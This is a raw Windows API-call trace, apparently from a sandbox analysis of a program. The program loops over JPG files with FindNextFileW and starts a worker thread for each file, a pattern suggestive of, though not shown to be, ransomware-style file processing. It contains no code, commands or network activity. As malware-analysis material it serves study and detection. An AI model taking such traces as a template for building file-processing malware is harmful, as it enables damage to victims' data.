	[0256.717] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1
	[0256.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x206c
	[0257.419] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.420] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1
	[0257.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2070
	[0257.423] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.424] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1
	[0257.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2074
	[0257.427] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.428] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1
	[0257.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2078
	[0257.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.433] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1
	[0257.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x207c
	[0257.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.436] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1
	[0257.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2080
	[0257.439] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.440] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1
	[0257.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb6490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2084
	[0257.442] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.443] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1
	[0257.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb9b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2088
	[0257.447] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.448] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1
	[0257.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcbd250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208c
	[0257.450] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.451] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1
	[0257.451] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc0930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2090
	[0258.076] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.077] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1
	[0258.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b8
	[0258.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.080] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1
	[0258.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20bc
	[0258.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.083] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1
	[0258.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c0
	[0258.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.086] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1
	[0258.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c4
	[0258.088] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.089] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1
	[0258.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c8
	[0258.091] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.091] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1
	[0258.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20cc
	[0258.093] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.094] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1
	[0258.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d0
	[0258.097] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.098] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1
	[0258.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4
	[0258.100] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.101] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1
	[0258.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8
	[0258.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.104] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1
	[0258.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20dc
	[0258.106] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.107] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1
	[0258.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e0
	[0258.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.110] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1
	[0258.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e4
	[0258.334] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.335] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1
	[0258.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f5c
	[0258.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.338] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1
	[0258.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f90
	[0258.340] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1
	[0258.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fbc
	[0258.343] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.343] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1
	[0258.343] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b0
	[0258.346] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.347] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1
	[0258.347] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b4
	[0258.350] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
